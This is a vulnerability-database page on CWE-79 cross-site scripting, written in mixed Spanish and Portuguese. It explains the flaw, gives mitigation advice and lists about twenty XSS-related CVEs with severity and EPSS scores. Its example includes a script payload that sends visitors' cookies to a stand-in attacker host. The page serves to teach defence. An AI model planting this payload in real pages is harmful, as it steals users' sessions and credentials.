Fallos del tipo CWE-79

28.608 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-5737MEDIUMHTML Injection in AdmirorFrames Joomla! ExtensionEPSS 1.1%CVE-2026-54645MEDIUMCubeCart: Stored XSS in Product Description Editor via Global Sanitizer BypassEPSS 1.1%CVE-2023-40355MEDIUMCross Site Scripting (XSS) vulnerability in Axigen versions 10.3.3.0 before 10.3.3.59, 10.4.0 before 10.4.19, and 10.5.0 before 10.5.5, alloEPSS 1.1%CVE-2022-0157MEDIUMCross-site Scripting (XSS) - Stored in phoronix-test-suite/phoronix-test-suiteEPSS 1.1%CVE-2024-29029MEDIUMmemos vulnerable to an SSRF in /o/get/imageEPSS 1.1%CVE-2025-21393MEDIUMMicrosoft SharePoint Server Spoofing VulnerabilityEPSS 1.1%CVE-2022-26088MEDIUMAn issue was discovered in BMC Remedy before 22.1. Email-based Incident Forwarding allows remote authenticated users to inject HTML (such asEPSS 1.1%CVE-2021-32696LOWPassing in a non-string 'html' argument can lead to unsanitized outputEPSS 1.1%CVE-2025-60378HIGHStored HTML injection in RISE Ultimate Project Manager & CRM allows authenticated users to inject arbitrary HTML into invoices and messages.EPSS 1.1%CVE-2023-4203CRITICALStored Cross-Site ScriptingEPSS 1.1%CVE-2018-15455MEDIUMCisco Identity Services Engine Logging Cross-Site Scripting VulnerabilityEPSS 1.1%CVE-2021-39344MEDIUMKJM Admin Notices <= 2.0.1 Authenticated Stored Cross-Site ScriptingEPSS 1.1%CVE-2022-0929MEDIUMXSS on dynamic_text module in microweber/microweberEPSS 1.1%CVE-2024-21419HIGHMicrosoft Dynamics 365 (on-premises) Cross-site Scripting VulnerabilityEPSS 1.1%CVE-2022-40743MEDIUMApache Traffic Server: Security issues with the xdebug pluginEPSS 1.1%CVE-2018-3726—crud-file-server node module before 0.8.0 suffers from a Cross-Site Scripting vulnerability to a lack of validation of file names.EPSS 1.1%CVE-2018-10937MEDIUMA cross site scripting flaw exists in the tetonic-console component of Openshift Container Platform 3.11. An attacker with the ability to crEPSS 1.1%CVE-2023-50891MEDIUMWordPress Zoho Forms Plugin <= 3.0.1 is vulnerable to Cross Site Scripting (XSS)EPSS 1.1%CVE-2024-6516CRITICALCross Site Scripting XSSEPSS 1.1%CVE-2019-7000MEDIUMAvaya Aura Conferencing XSSEPSS 1.1%